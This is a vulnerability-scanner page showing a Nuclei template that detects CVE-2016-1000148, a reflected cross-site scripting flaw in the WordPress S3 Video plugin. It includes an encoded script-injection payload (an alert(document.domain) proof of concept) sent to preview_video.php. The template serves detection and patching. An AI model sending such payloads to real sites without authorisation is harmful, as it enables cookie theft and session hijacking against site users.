WordPress S3 Video <=0.983 - Cross-Site Scripting

ID: CVE-2016-1000148

Severity: medium

Author: daffainfo

Tags: cve2016,cve,wordpress,wp-plugin,xss,wpscan,s3-video_project

Description

WordPress S3 Video and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

id: CVE-2016-1000148

info:
  name: WordPress S3 Video <=0.983 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress S3 Video and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of WordPress S3 Video plugin (>=0.984) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/ead796ed-202a-451f-b041-d39c9cf1fb54
    - https://wordpress.org/plugins/s3-video
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=240
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000148
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000148
    cwe-id: CWE-79
    epss-score: 0.00119
    epss-percentile: 0.46028
    cpe: cpe:2.3:a:s3-video_project:s3-video:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "s3-video_project"
    product: "s3-video"
    framework: wordpress
  tags: cve2016,cve,wordpress,wp-plugin,xss,wpscan,s3-video_project
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/s3-video/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'S3 Video Plugin ='

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/s3-video/views/video-management/preview_video.php?media=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%22"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script><"'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100af3a267e63b665acab1996cd7d7a09c4391098b6cedb79a1fdf37d98b30d661702207bcf14ac8fe7277d84b609c06973dadff2fe8e77836374b37a19578012297946:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2016/CVE-2016-1000148.yaml"

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